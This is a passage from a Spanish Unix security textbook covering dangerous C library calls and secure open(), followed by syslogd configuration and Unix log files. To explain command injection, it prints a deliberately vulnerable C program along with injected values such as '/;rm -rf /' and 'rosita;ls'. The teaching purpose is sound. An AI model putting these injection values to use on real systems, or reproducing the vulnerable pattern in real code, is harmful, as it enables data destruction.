- 102. 84 CAP´ ITULO 5. PROGRAMAS SEGUROS, INSEGUROS Y NOCIVOS • exec(), popen(): Similares a la anterior; es preferible utilizar execv() o execl(), pero si han de recibir par´metros del usuario sigue siendo necesaria una estricta comprobaci´n de los a o mismos. • setuid(), setgid(). . . : Los programas de usuario no deber´ utilizar estas llamadas, ya ıan que no han de tener privilegios innecesarios. • strcpy(), strcat(), sprintf(), vsprintf(). . . : Estas funciones no comprueban la longitud de las cadenas con las que trabajan, por lo que son una gran fuente de buffer overflows. Se han de sustituir por llamadas equivalentes que s´ realicen comprobaci´n de l´ ı o ımites (strncpy(), strncat(). . . ) y, si no es posible, realizar dichas comprobaciones manualmente. • getenv(): Otra excelente fuente de desbordamientos de buffer; adem´s, el uso que hagamos a de la informaci´n le´ puede ser peligroso, ya que recordemos que es el usuario el que gen- o ıda eralmente puede modificar el valor de las variables de entorno. Por ejemplo, ¿qu´ suceder´ e ıa si ejecutamos desde un programa una orden como ‘cd $HOME’, y resulta que esta variable de entorno no corresponde a un nombre de directorio sino que es de la forma ‘/;rm -rf /’? Si algo parecido se hace desde un programa que se ejecute con privilegios en el sistema, podemos imaginarnos las consecuencias. . . • gets(), scanf(), fscanf(), getpass(), realpath(), getopt(). . . : Estas funciones no re- alizan las comprobaciones adecuadas de los datos introducidos, por lo que pueden desbordar en algunos casos el buffer destino o un buffer est´tico interno al sistema. Es preferible el uso a de read() o fgets() siempre que sea posible (incluso para leer una contrase˜a, haciendo n por supuesto que no se escriba en pantalla), y si no lo es al menos realizar manualmente comprobaciones de longitud de los datos le´ ıdos. • gethostbyname(), gethostbyaddr(): Seguramente ver las amenazas que provienen del uso de estas llamadas no es tan inmediato como ver las del resto; generalmente hablamos de desbor- damiento de buffers, de comprobaciones de l´ımites de datos introducidos por el usuario. . . pero no nos paramos a pensar en datos que un atacante no introduce directamente desde teclado o desde un archivo, pero cuyo valor puede forzar incluso desde sistemas que ni siquiera son el nuestro. Por ejemplo, todos tendemos a asumir como ciertas las informaciones que un servidor DNS – m´s o menos fiables, por ejemplo alguno de nuestra propia organizaci´n – nos brinda. a o Imaginemos un programa como el siguiente (se han omitido las comprobaciones de errores habituales por cuestiones de claridad): #include <stdio.h> #include <stdlib.h> #include <netdb.h> #include <unistd.h> #include <arpa/inet.h> int main(int argc, char **argv){ struct in_addr *dir=(struct in_addr *)malloc(sizeof(struct in_addr)); struct hostent *maquina=(struct hostent *)malloc(sizeof(struct hostent)); char *orden=(char *)malloc(30); dir->s_addr=inet_addr(*++argv); maquina=gethostbyaddr((char *)dir,sizeof(struct in_addr),AF_INET); sprintf(orden,"finger @%sn",maquina->h_name); system(orden); return(0); } Este c´digo recibe como argumento una direcci´n IP, obtiene su nombre v´ /etc/hosts o o o ıa dns,y ejecuta un finger sobre dicho nombre; aparte de otros posibles problemas de seguridad (por ejemplo, ¿ser´ ıamos capaces de procesar cualquier informaci´n que devuelva el finger?, o ¿qu´ sucede con la llamada a system()?), nada extra˜o ha de suceder si el nombre de m´quina e n a devuelto al programa es ‘normal’:
- 103. ´ 5.5. PROGRAMACION SEGURA 85 luisa:~/tmp$ ./ejemplo 192.168.0.1 [rosita] No one logged on. luisa:~/tmp$ Pero, ¿qu´ pasar´ si en lugar de devolver un nombre ‘normal’ (como ‘rosita’) se devuelve e ıa un nombre algo m´s elaborado, como ‘rosita;ls’? Podemos verlo: a luisa:~/tmp$ ./ejemplo 192.168.0.1 [rosita;ls] No one logged on. ejemplo ejemplo.c luisa:~/tmp$ Exactamente: se ha ejecutado la orden ‘finger @rosita;ls’ (esto es, un ‘finger’ a la m´quina seguido de un ‘ls’). Podemos imaginar los efectos que tendr´ el uso de este a ıa programa si sustituimos el inocente ‘ls’ por un ‘rm -rf $HOME’. Un atacante que consiga controlar un servidor dns (algo no muy complicado) podr´ inyectarnos datos maliciosos en ıa nuestra m´quina sin ning´n problema. Para evitar esta situaci´n debemos hacer una doble a u o b´squeda inversa y adem´s no hacer ninguna suposici´n sobre la correcci´n o el formato de u a o o los datos recibidos; en nuestro c´digo debemos insertar las comprobaciones necesarias para o asegurarnos de que la informaci´n que recibimos no nos va a causar problemas. o • syslog(): Hemos de tener la precauci´n de utilizar una versi´n de esta funci´n de librer´ o o o ıa que compruebe la longitud de sus argumentos; si no lo hacemos y esa longitud sobrepasa un cierto l´ ımite (generalmente, 1024 bytes) podemos causar un desbordamiento en los buffers de nuestro sistema de log, dej´ndolo inutilizable. a • realloc(): Ning´n programa – privilegiado o no – que maneje datos sensibles (por ejemplo, u contrase˜as, correo electr´nico. . . y especialmente aplicaciones criptogr´ficas) debe utilizar es- n o a ta llamada; realloc() se suele utilizar para aumentar din´micamente la cantidad de memoria a reservada para un puntero. Lo habitual es que la nueva zona de memoria sea contigua a la que ya estaba reservada, pero si esto no es posible realloc() copia la zona antigua a una nueva ubicaci´n donde pueda a˜adirle el espacio especificado. ¿Cu´l es el problema? La zona de o n a memoria antigua se libera (perdemos el puntero a ella) pero no se pone a cero, con lo que sus contenidos permanecen inalterados hasta que un nuevo proceso reserva esa zona; accediendo a bajo nivel a la memoria (por ejemplo, leyendo /proc/kcore o /dev/kmem) ser´ posible para ıa un atacante tener acceso a esa informaci´n. o Realmente, malloc() tampoco pone a cero la memoria reservada, por lo que a primera vista puede parecer que cualquier proceso de usuario (no un acceso a bajo nivel, sino un simple malloc() en un programa) podr´ permitir la lectura del antiguo contenido de la zona de ıa memoria reservada. Esto es falso si se trata de nueva memoria que el n´cleo reserva para el u proceso invocador: en ese caso, la memoria es limpiada por el propio kernel del operativo, que invoca a kmalloc() (en el caso de Linux, en otros Unices el nombre puede variar aunque la idea sea la misma) para hacer la reserva. Lo que s´ es posible es que si liberamos una zona ı de memoria (por ejemplo con free()) y a continuaci´n la volvemos a reservar, en el mismo o proceso, podamos acceder a su contenido: esa zona no es ‘nueva’ (es decir, el n´cleo no la u ha reservado de nuevo), sino que ya pertenec´ al proceso. De cualquier forma, si vamos a ıa liberar una zona en la que est´ almacenada informaci´n sensible, lo mejor en cualquier caso a o es ponerla a cero manualmente, por ejemplo mediante bzero() o memset(). • open(): El sistema de ficheros puede modificarse durante la ejecuci´n de un programa de o formas que en ocasiones ni siquiera imaginamos; por ejemplo, en Unix se ha de evitar escribir siguiendo enlaces de archivos inesperados (un archivo que cambia entre una llamada a lstat() para comprobar si existe y una llamada a open() para abrirlo en caso positivo, como hemos visto antes). No obstante, no hay ninguna forma de realizar esta operaci´n at´micamente sin o o llegar a mecanismos de entrada/salida de muy bajo nivel; Peter Gutmann propone el siguiente c´digo para asegurarnos de que estamos realizando un open() sobre el archivo que realmente o queremos abrir, y no sobre otro que un atacante nos ha puesto en su lugar:
- 104. 86 CAP´ ITULO 5. PROGRAMAS SEGUROS, INSEGUROS Y NOCIVOS struct stat lstatInfo; char *mode="rb+"; int fd; if(lstat(fileName,&lstatInfo)==-1) { if(errno!=ENOENT) return( -1 ); if((fd=open(fileName,O_CREAT|O_EXCL|O_RDWR,0600))==-1) return(-1); mode="wb"; } else { struct stat fstatInfo; if((fd=open(fileName,O_RDWR))==-1) return(-1); if(fstat(fd,&fstatInfo)==-1 || lstatInfo.st_mode!=fstatInfo.st_mode || lstatInfo.st_ino!=fstatInfo.st_ino || lstatInfo.st_dev!=fstatInfo.st_dev) { close(fd); return(-1); } if(fstatInfo.st_nlink>1||!S_ISREG(lstatInfo.st_mode)) { close(fd); return(-1); } #ifdef NO_FTRUNCATE close(fd); if((fd=open(fileName,O_CREAT|O_TRUNC|O_RDWR))==-1) return( -1 ); mode="wb"; #else ftruncate(fd,0); #endif /* NO_FTRUNCATE */ } stream->filePtr=fdopen(fd,mode); if(stream->filePtr==NULL) { close(fd); unlink(fileName); return(-1); /* Internal error, should never happen */ } } Como podemos ver, algo tan elemental como una llamada a open() se ha convertido en todo el c´digo anterior si queremos garantizar unas m´ o ınimas medidas de seguridad; esto nos puede dar una idea de hasta que punto la programaci´n ‘segura’ puede complicarse. No obstante, o en muchas ocasiones es preferible toda la complicaci´n y parafernalia anteriores para realizar o un simple open() a que esa llamada se convierta en un fallo de seguridad en nuestro sistema. No hay ning´n programa que se pueda considerar perfecto o libre de errores (como se cita en u el cap´ ıtulo 23 de [GS96], una rutina de una librer´ puede tener un fallo. . . o un rayo gamma ıa puede alterar un bit de memoria para hacer que nuestro programa se comporte de forma inesperada), pero cualquier medida que nos ayude a minimizar las posibilidades de problemas es siempre positiva.
- 105. Cap´ ıtulo 6 Auditor´ del sistema ıa 6.1 Introducci´n o Casi todas las actividades realizadas en un sistema Unix son susceptibles de ser, en mayor o menor medida, monitorizadas: desde las horas de acceso de cada usuario al sistema hasta las p´ginas web a m´s frecuentemente visitadas, pasando por los intentos fallidos de conexi´n, los programas ejecuta- a o dos o incluso el tiempo de CPU que cada usuario consume. Obviamente esta facilidad de Unix para recoger informaci´n tiene unas ventajas inmediatas para la seguridad: es posible detectar un intento o de ataque nada m´s producirse el mismo, as´ como tambi´n detectar usos indebidos de los recursos a ı e o actividades ‘sospechosas’; sin embargo, existen tambi´n desventajas, ya que la gran cantidad de e informaci´n que potencialmente se registra puede ser aprovechada para crear negaciones de servicio o o, m´s habitualmente, esa cantidad de informaci´n puede hacer dif´ detectar problemas por el a o ıcil volumen de datos a analizar. Algo muy interesante de los archivos de log en Unix es que la mayor´ de ellos son simples ficheros ıa de texto, que se pueden visualizar con un simple cat. Por una parte esto es bastante c´modo o para el administrador del sistema, ya que no necesita de herramientas especiales para poder revisar los logs (aunque existen algunas utilidades para hacerlo, como swatch) e incluso puede programar shellscripts para comprobar los informes generados de forma autom´tica, con ´rdenes como awk, a o grep o sed. No obstante, el hecho de que estos ficheros sean texto plano hace que un atacante lo tenga muy f´cil para ocultar ciertos registros modificando los archivos con cualquier editor de tex- a tos; esto implica una cosa muy importante para un administrador: nunca ha de confiar al 100% en lo que los informes de auditor´ del sistema le digan. Para minimizar estos riesgos se pueden tomar ıa diversas medidas, desde algunas quiz´s demasiado complejas para entornos habituales ([SK98]) a hasta otras m´s sencillas pero igualmente efectivas, como utilizar una m´quina fiable para regis- a a trar informaci´n del sistema o incluso enviar los registros m´s importantes a una impresora; m´s o a a adelante hablaremos de ellas. 6.2 El sistema de log en Unix Una desventaja a˜adida al sistema de auditor´ en Unix puede ser la complejidad que puede al- n ıa canzar una correcta configuraci´n; por si la dificultad del sistema no fuera suficiente, en cada Unix o el sistema de logs tiene peculiaridades que pueden propiciar la p´rdida de informaci´n interesante e o de cara al mantenimiento de sistemas seguros. Aunque muchos de los ficheros de log de los que hablaremos a continuaci´n son comunes en cualquier sistema, su localizaci´n, o incluso su formato, o o pueden variar entre diferentes Unices. Dentro de Unix hay dos grandes familias de sistemas: se trata de System V y bsd; la localizaci´n o de ficheros y ciertas ´rdenes relativas a la auditor´ de la m´quina van a ser diferentes en ellas, o ıa a por lo que es muy recomendable consultar las p´ginas del manual antes de ponerse a configurar el a sistema de auditor´ en un equipo concreto. La principal diferencia entre ellos es el denominado ıa process accounting o simplemente accounting, consistente en registrar todos los programas ejecuta-
- 106. 88 CAP´ ITULO 6. AUDITOR´ DEL SISTEMA IA dos por cada usuario; evidentemente, los informes generados en este proceso pueden llegar a ocupar much´ ısimo espacio en disco (dependiendo del n´mero de usuarios en nuestro sistema) por lo que s´lo u o es recomendable en situaciones muy concretas, por ejemplo para detectar actividades sospechosas en una m´quina o para cobrar por el tiempo de CPU consumido. En los sistemas System V el pro- a cess accounting est´ desactivado por defecto; se puede iniciar mediante /usr/lib/acct/startup, a y para visualizar los informes se utiliza la orden acctcom. En la familia bsd los equivalentes a estas o ´rdenes son accton y lastcomm; en este caso el process accounting est´ inicializado por defecto. a Un mundo aparte a la hora de generar (y analizar) informes acerca de las actividades realizadas sobre una m´quina Unix son los sistemas con el modelo de auditor´ C2 ([B+ 85]); mientras que con a ıa el modelo cl´sico se genera un registro tras la ejecuci´n de cada proceso, en Unix C2 se propor- a o ciona una pista de auditor´ donde se registran los accesos y los intentos de acceso de una entidad ıa a un objeto, as´ como cada cambio en el estado del objeto, la entidad o el sistema global. Esto ı se consigue asignando un identificador denominado Audit ID a cada grupo de procesos ejecutados (desde el propio login), identificador que se registra junto a la mayor´ de llamadas al sistema que ıa un proceso realiza, incluyendo algunas tan comunes como write(), open(), close() o read(). A nadie se le puede escapar la cantidad de espacio y de CPU necesarios para mantener los registros a un nivel tan preciso, por lo que en la mayor´ de sistemas (especialmente en entornos habituales, ıa como los estudiados aqu´ el modelo de auditor´ C2 es innecesario; y no s´lo esto, sino que en ı) ıa o muchas ocasiones tambi´n se convierte en una monitorizaci´n in´til ([ALGJ98]) si no se dispone e o u de mecanismos para interpretar o reducir la gran cantidad de datos registrados: el administrador guarda tanta informaci´n que es casi imposible analizarla en busca de actividades sospechosas. o 6.3 El demonio syslogd El demonio syslogd (Syslog Daemon) se lanza autom´ticamente al arrancar un sistema Unix, y es a el encargado de guardar informes sobre el funcionamiento de la m´quina. Recibe mensajes de las a diferentes partes del sistema (n´cleo, programas. . . ) y los env´ y/o almacena en diferentes local- u ıa izaciones, tanto locales como remotas, siguiendo un criterio definido en el fichero de configuraci´n o /etc/syslog.conf, donde especificamos las reglas a seguir para gestionar el almacenamiento de mensajes del sistema. Las l´ ıneas de este archivo que comienzan por ‘#’ son comentarios, con lo cual son ignoradas de la misma forma que las l´ ıneas en blanco; si ocurriera un error al interpretar una de las l´ıneas del fichero, se ignorar´ la l´ ıa ınea completa. Un ejemplo de fichero /etc/syslog.conf es el siguiente: anita:~# cat /etc/syslog.conf #ident "@(#)syslog.conf 1.4 96/10/11 SMI" /* SunOS 5.0 */ # # Copyright (c) 1991-1993, by Sun Microsystems, Inc. # # syslog configuration file. # # This file is processed by m4 so be careful to quote (‘’) names # that match m4 reserved words. Also, within ifdef’s, arguments # containing commas must be quoted. # *.err;kern.notice;auth.notice /dev/console *.err;kern.debug;daemon.notice;mail.crit /var/adm/messages *.alert;kern.err;daemon.err operator *.alert root *.emerg * # if a non-loghost machine chooses to have authentication messages # sent to the loghost machine, un-comment out the following line: #auth.notice ifdef(‘LOGHOST’, /var/log/authlog, @loghost)
- 107. 6.3. EL DEMONIO SYSLOGD 89 mail.debug ifdef(‘LOGHOST’, /var/log/syslog, @loghost) # # non-loghost machines will use the following lines to cause "user" # log messages to be logged locally. # ifdef(‘LOGHOST’, , user.err /dev/console user.err /var/adm/messages user.alert ‘root, operator’ user.emerg * ) anita:~# Podemos ver que cada regla del archivo tiene dos campos: un campo de selecci´n y un campo de o acci´n, separados ambos por espacios o tabuladores. El campo de selecci´n est´ compuesto a o o a su vez de dos partes separadas por un punto: una que indica el servicio que env´ el mensaje y ıa otra que marca su prioridad, separadas por un punto (‘.’); ambas son indiferentes a may´sculas y u min´sculas. La parte del servicio contiene una de las siguientes palabras clave: auth, auth-priv, u cron, daemon, kern, lpr, mail, mark, news, security (equivalente a auth), syslog, user, uucp y local0 hasta local7; esta parte especifica el ‘subsistema’ que ha generado ese mensaje (por ejemp- lo, todos los programas relacionados con el correo generar´n mensajes ligados al servicio mail). En a segundo lugar, la prioridad est´ compuesta de uno de los siguientes t´rminos, en orden ascendente: a e debug, info, notice, warning, warn (equivalente a warning), err, error (equivalente a err), crit, alert, emerg, y panic (equivalente a emerg). La prioridad define la gravedad o importancia del mensaje almacenado. Todos los mensajes de la prioridad especificada y superiores son almacenados de acuerdo con la acci´n requerida. o Adem´s de los t´rminos mencionados hasta ahora, el demonio syslogd emplea en su fichero de a e configuraci´n los siguientes caracteres especiales: o • ‘∗’ (asterisco) Empleado como comod´ para todas las prioridades y servicios anteriores, dependiendo de ın d´nde son usados (si antes o despu´s del car´cter de separaci´n ‘.’): o e a o # Guardar todos los mensajes del servicio mail en /var/adm/mail # mail.* /var/adm/mail • ‘ ’ (blanco, espacio, nulo) Indica que no hay prioridad definida para el servicio de la l´ ınea almacenada. • ‘,’ (coma) Con este car´cter es posible especificar m´ltiples servicios con el mismo patr´n de prioridad a u o en una misma l´ınea. Es posible enumerar cuantos servicios se quieran: # Guardar todos los mensajes mail.info y news.info en # /var/adm/info mail,news.=info /var/adm/info • ‘;’ (punto y coma) Es posible dirigir los mensajes de varios servicios y prioridades a un mismo destino, sep- ar´ndolos por este car´cter: a a # Guardamos los mensajes de prioridad "info" y "notice" # en el archivo /var/log/messages *.=info;*.=notice /var/log/messages
- 108. 90 CAP´ ITULO 6. AUDITOR´ DEL SISTEMA IA • ‘=’ (igual) De este modo solo se almacenan los mensajes con la prioridad exacta especificada y no in- cluyendo las superiores: # Guardar todos los mensajes criticos en /var/adm/critical # *.=crit /var/adm/critical • ‘!’ (exclamaci´n) o Preceder el campo de prioridad con un signo de exclamaci´n sirve para ignorar todas las prior- o idades, teniendo la posibilidad de escoger entre la especificada (!=prioridad) y la especificada m´s todas las superiores (!prioridad). Cuando se usan conjuntamente los caracteres ‘=’ y a ‘!’, el signo de exclamaci´n ‘!’ debe preceder obligatoriamente al signo igual ‘=’, de esta o forma: !=. # Guardar mensajes del kernel de prioridad info, pero no de # prioridad err y superiores # Guardar mensajes de mail excepto los de prioridad info kern.info;kern.!err /var/adm/kernel-info mail.*;mail.!=info /var/adm/mail La segunda parte de cada l´ ınea del archivo de configuraci´n de syslogd es el campo de acci´n, o o y describe el destino de los mensajes (d´nde se van a guardar o qu´ programa los va a procesar); o e este destino puede ser uno de los siguientes: • Un fichero plano Normalmente los mensajes del sistema son almacenados en ficheros planos. Dichos ficheros han de estar especificados con la ruta de acceso completa (comenzando con ‘/’). Podemos preceder cada entrada con el signo menos, ‘-’, para omitir la sincronizaci´n del archi- o vo (vaciado del buffer de memoria a disco). Aunque puede ocurrir que se pierda informaci´n o si el sistema cae justo despu´s de un intento de escritura en el archivo, utilizando este signo se e puede conseguir una mejora importante en la velocidad, especialmente si estamos ejecutando programas que mandan muchos mensajes al demonio syslogd. # Guardamos todos los mensajes de prioridad critica en "critical" # *.=crit /var/adm/critical • Un dispositivo f´ ısico Tambi´n tenemos la posibilidad de enviar los registros del sistema a un dispositivo f´ e ısico del mismo, t´ ıpicamente un terminal o una impresora. As´ conseguimos, entre otras cosas, que ı esas entradas permanezcan relativa o totalmente inalteradas (en funci´n de qu´ dispositivo o e las reciban). Por ejemplo, podemos tener uno de los terminales virtuales que muchos sistemas Unix ofrecen en su consola ‘dedicado’ a listar los mensajes del sistema, que podr´n ser con- a sultados con solo cambiar a ese terminal mediante la combinaci´n de teclas correspondiente: o # Enviamos todos los mensajes a tty12 (ALT+F12 en Linux) y todos # los mensajes criticos del nucleo a consola # *.* /dev/tty12 kern.crit /dev/console • Una tuber´ con nombre ıa Algunas versiones de syslogd permiten enviar registros a ficheros de tipo pipe simplemente anteponiendo el s´ ımbolo ‘|’ al nombre del archivo; dicho fichero ha de ser creado antes de iniciar el demonio syslogd, mediante ´rdenes como mkfifo o mknod. Esto es util para debug o ´ y tambi´n para procesar los registros utilizando cualquier aplicaci´n de Unix, tal y como e o veremos al hablar de logs remotos cifrados. Por ejemplo, la siguiente l´ ınea de /etc/syslog.conf enviar´ todos los mensajes de cualquier ıa prioridad a uno de estos ficheros denominado /var/log/mififo:
- 109. 6.4. ALGUNOS ARCHIVOS DE LOG 91 # Enviamos todos los mensajes a la tuberia con nombre # /var/log/mififo # *.* |/var/log/mififo • Una m´quina remota a Se pueden enviar los mensajes del sistema a otra m´quina, de manera a que sean almacenados a remotamente, sin m´s que indicar en el campo de acci´n el nombre o direcci´n de dicho sistema a o o precedido por el signo ‘@’. Esto es util si tenemos una m´quina segura, en la que podemos ´ a confiar, conectada a la red, ya que de esta manera se guardar´ all´ una copia de los mensajes ıa ı de nuestro sistema, copia que no podr´ ser modificada en caso de que alguien entrase en la ıa m´quina que los est´ generando. Esto es especialmente interesante para detectar usuarios a a ‘ocultos’ en nuestro sistema (usuarios maliciosos que han conseguido los suficientes privilegios para ocultar sus procesos o su conexi´n), ya que una de las principales cosas que har´ este o a tipo de atacantes es eliminar cualquier registro que denote su presencia en la m´quina (por a ejemplo, sus entradas en wtmp). En el siguiente ejemplo utilizamos un sistema a priori confiable para enviarle algunos de nuestros registros: # Enviamos los mensajes de prioridad warning y superiores al # fichero "syslog" y todos los mensajes (incluidos los # anteriores) a la maquina "secure.upv.es" # *.warn /usr/adm/syslog *.* @secure.upv.es • Unos usuarios del sistema (si est´n conectados) a Se especifica la lista de usuarios que deben recibir un tipo de mensajes simplemente escribiendo sus login, separados por comas: # Enviamos los mensajes con la prioridad "alert" a root y toni # *.alert root, toni • Todos los usuarios que est´n conectados e Los errores con una prioridad de emergencia se suelen enviar a todos los usuarios que est´n e conectados al sistema, de manera que se den cuenta de que algo va mal; para ello utilizamos un asterisco en el campo de acci´n: o # Mostramos los mensajes urgentes a todos los usuarios # conectados, mediante wall *.=emerg * Cuando un programa quiere enviar un mensaje al demonio syslogd utiliza la llamada syslog(3); al hacerlo, se ha de indicar tanto el servicio como la prioridad del mismo. Evidentemente, esto es v´lido para el c´digo en C: si queremos enviar registros al demonio para que sean procesados a o desde un shellscript podemos utilizar la orden logger, en la que tambi´n podemos indicar ambos e par´metros: a luisa:~# logger -p local0.info "Esto es una prueba" luisa:~# tail -1 /var/adm/messages May 14 03:53:14 luisa root: Esto es una prueba luisa:~# 6.4 Algunos archivos de log En funci´n de la configuraci´n del sistema de auditor´ de cada equipo Unix los eventos que sucedan o o ıa en la m´quina se registrar´n en determinados ficheros; aunque podemos loggear en cualquier fichero a a (incluso a trav´s de la red o en dispositivos, como ya hemos comentado y luego veremos con mayor e
- 110. 92 CAP´ ITULO 6. AUDITOR´ DEL SISTEMA IA detalle), existen ciertos archivos de registro ‘habituales’ en los que se almacena informaci´n. A o continuaci´n vamos a comentar los m´s comunes y la informaci´n que registra cada uno de ellos. o a o 6.4.1 syslog El archivo syslog (guardado en /var/adm/ o /var/log/) es quiz´s el fichero de log m´s importante a a del sistema; en ´l se guardan, en texto claro, mensajes relativos a la seguridad de la m´quina, como e a los accesos o los intentos de acceso a ciertos servicios. No obstante, este fichero es escrito por syslogd, por lo que dependiendo de nuestro fichero de configuraci´n encontraremos en el archivo o una u otra informaci´n. Al estar guardado en formato texto, podemos visualizar su contenido con o un simple cat: anita:/# cat /var/log/syslog Mar 5 04:15:23 anita in.telnetd[11632]: connect from localhost Mar 5 06:16:52 anita rpcbind: connect from 127.0.0.1 to getport(R ) Mar 5 06:16:53 anita last message repeated 3 times Mar 5 06:35:08 anita rpcbind: connect from 127.0.0.1 to getport(R ) Mar 5 18:26:56 anita rpcbind: connect from 127.0.0.1 to getport(R ) Mar 5 18:28:47 anita last message repeated 1 time Mar 5 18:32:43 anita rpcbind: connect from 127.0.0.1 to getport(R ) Mar 6 02:30:26 anita rpcbind: connect from 127.0.0.1 to getport(R ) Mar 6 03:31:37 anita rpcbind: connect from 127.0.0.1 to getport(R ) Mar 6 11:07:04 anita in.telnetd[14847]: connect from rosita Mar 6 11:40:43 anita in.telnetd[14964]: connect from localhost anita:/# 6.4.2 messages En este archivo de texto se almacenan datos ‘informativos’ de ciertos programas, mensajes de baja o media prioridad destinados m´s a informar que a avisar de sucesos importantes, como informaci´n a o relativa al arranque de la m´quina; no obstante, como suced´ con el fichero syslog, en funci´n de a ıa o /etc/syslog.conf podremos guardar todo tipo de datos. Para visualizar su contenido es suficiente una orden como cat o similares: anita:/# head -70 /var/adm/messages Jan 24 18:09:54 anita unix: SunOS Release 5.7 Version Generic [UNIX(R) System V Release 4.0] Jan 24 18:09:54 anita unix: Copyright (c) 1983-1998, Sun Microsystems, Inc. Jan 24 18:09:54 anita unix: mem = 65152K (0x3fa0000) Jan 24 18:09:54 anita unix: avail mem = 51167232 Jan 24 18:09:54 anita unix: root nexus = i86pc Jan 24 18:09:54 anita unix: isa0 at root Jan 24 18:09:54 anita unix: pci0 at root: space 0 offset 0 Jan 24 18:09:54 anita unix: IDE device at targ 0, lun 0 lastlun 0x0 Jan 24 18:09:54 anita unix: model WDC WD84AA, stat 50, err 0 Jan 24 18:09:54 anita unix: cfg 0x427a, cyl 16383, hd 16, sec/trk 63 Jan 24 18:09:54 anita unix: mult1 0x8010, mult2 0x110, dwcap 0x0, cap 0x2f00 Jan 24 18:09:54 anita unix: piomode 0x280, dmamode 0x0, advpiomode 0x3 Jan 24 18:09:54 anita unix: minpio 120, minpioflow 120 Jan 24 18:09:54 anita unix: valid 0x7, dwdma 0x7, majver 0x1e Jan 24 18:09:54 anita unix: ata_set_feature: (0x66,0x0) failed Jan 24 18:09:54 anita unix: ATAPI device at targ 1, lun 0 lastlun 0x0 Jan 24 18:09:54 anita unix: model CD-ROM 50X, stat 50, err 0 Jan 24 18:09:54 anita unix: cfg 0x85a0, cyl 0, hd 0, sec/trk 0 Jan 24 18:09:54 anita unix: mult1 0x0, mult2 0x0, dwcap 0x0, cap 0xf00 Jan 24 18:09:54 anita unix: piomode 0x400, dmamode 0x200, advpiomode
- 111. 6.4. ALGUNOS ARCHIVOS DE LOG 93 0x3 Jan 24 18:09:54 anita unix: minpio 227, minpioflow 120 Jan 24 18:09:54 anita unix: valid 0x6, dwdma 0x107, majver 0x0 Jan 24 18:09:54 anita unix: PCI-device: ata@0, ata0 Jan 24 18:09:54 anita unix: ata0 is /pci@0,0/pci-ide@7,1/ata@0 Jan 24 18:09:54 anita unix: Disk0: <Vendor ’Gen-ATA ’ Product ’WDC WD84AA ’> Jan 24 18:09:54 anita unix: cmdk0 at ata0 target 0 lun 0 Jan 24 18:09:54 anita unix: cmdk0 is /pci@0,0/pci-ide@7,1/ata@0/cmdk@0,0 Jan 24 18:09:54 anita unix: root on /pci@0,0/pci-ide@7,1/ide@0/cmdk@0,0:a fstype ufs Jan 24 18:09:54 anita unix: ISA-device: asy0 Jan 24 18:09:54 anita unix: asy0 is /isa/asy@1,3f8 Jan 24 18:09:54 anita unix: ISA-device: asy1 Jan 24 18:09:54 anita unix: asy1 is /isa/asy@1,2f8 Jan 24 18:09:54 anita unix: ISA-device: asy2 Jan 24 18:09:54 anita unix: asy2 is /isa/pnpSUP,1670@pnpSUP,1670,7ec2 Jan 24 18:09:54 anita unix: Number of console virtual screens = 13 Jan 24 18:09:54 anita unix: cpu 0 initialization complete - online Jan 24 18:09:54 anita unix: dump on /dev/dsk/c0d0s1 size 86 MB Jan 24 18:09:55 anita unix: pseudo-device: pm0 Jan 24 18:09:55 anita unix: pm0 is /pseudo/pm@0 Jan 24 18:09:56 anita unix: pseudo-device: vol0 Jan 24 18:09:56 anita unix: vol0 is /pseudo/vol@0 Jan 24 18:09:57 anita icmpinfo: started, PID=213. Jan 24 18:09:57 anita unix: sd1 at ata0: Jan 24 18:09:57 anita unix: target 1 lun 0 Jan 24 18:09:57 anita unix: sd1 is /pci@0,0/pci-ide@7,1/ata@0/sd@1,0 Jan 24 18:10:03 anita icmpinfo: ICMP_Dest_Unreachable[Port] < 127.0.0.1 [localhost] > 127.0.0.1 [localhost] sp=1664 dp=3200 seq=0x002e0000 sz=74(+20) Jan 24 18:10:03 anita unix: ISA-device: fdc0 Jan 24 18:10:03 anita unix: fd0 at fdc0 Jan 24 18:10:03 anita unix: fd0 is /isa/fdc@1,3f0/fd@0,0 Jan 24 18:10:04 anita icmpinfo: ICMP_Dest_Unreachable[Port] < 127.0.0.1 [localhost] > 127.0.0.1 [localhost] sp=2944 dp=161 seq=0x00420000 sz=92(+20) Jan 24 18:10:05 anita unix: ISA-device: asy0 Jan 24 18:10:05 anita unix: asy0 is /isa/asy@1,3f8 Jan 24 18:10:05 anita unix: ISA-device: asy1 Jan 24 18:10:05 anita unix: asy1 is /isa/asy@1,2f8 Jan 24 18:10:05 anita unix: ISA-device: asy2 Jan 24 18:10:05 anita unix: asy2 is /isa/pnpSUP,1670@pnpSUP,1670,7ec2 an 24 18:10:08 anita icmpinfo: ICMP_Dest_Unreachable[Port] < 127.0.0.1 [localhost] > 127.0.0.1 [localhost] sp=32780 dp=162 seq=0x00370000 sz=83(+20) Jan 24 18:10:35 anita unix: pseudo-device: xsvc0 Jan 24 18:10:35 anita unix: xsvc0 is /pseudo/xsvc@0 anita:/# 6.4.3 wtmp Este archivo es un fichero binario (no se puede leer su contenido directamente volc´ndolo con cat a o similares) que almacena informaci´n relativa a cada conexi´n y desconexi´n al sistema. Podemos o o o ver su contenido con ´rdenes como last: o anita:/# last -10 toni pts/11 localhost Mon Mar 6 11:07 - 11:07 (00:00) toni pts/11 rosita Sun Mar 5 04:22 - 04:25 (00:03) ftp ftp andercheran.aiin Sun Mar 5 02:30 still logged in ftp ftp andercheran.aiin Sun Mar 5 00:28 - 02:30 (02:01) ftp ftp anita Thu Mar 2 03:02 - 00:28 (2+21:25)
- 112. 94 CAP´ ITULO 6. AUDITOR´ DEL SISTEMA IA ftp ftp anita Thu Mar 2 03:01 - 03:02 (00:00) ftp ftp localhost Thu Mar 2 02:35 - 03:01 (00:26) root console Thu Mar 2 00:13 still logged in reboot system boot Thu Mar 2 00:12 root console Wed Mar 1 06:18 - down (17:54) anita:/# Los registros guardados en este archivo (y tambi´n en el fichero utmp) tienen el formato de la e estructura utmp, que contiene informaci´n como el nombre de usuario, la l´ o ınea por la que accede, el lugar desde donde lo hace y la hora de acceso; se puede consultar la p´gina de manual de funciones a como getutent() para ver la estructura concreta en el clon de Unix en el que trabajemos. Algunas variantes de Unix (como Solaris o IRIX) utilizan un fichero wtmp extendido denominado wtmpx, con campos adicionales que proporcionan m´s informaci´n sobre cada conexi´n. a o o 6.4.4 utmp El archivo utmp es un fichero binario con informaci´n de cada usuario que est´ conectado en un o a momento dado; el programa /bin/login genera un registro en este fichero cuando un usuario conecta, mientras que init lo elimina cuando desconecta. Aunque habitualmente este archivo est´ a situado en /var/adm/, junto a 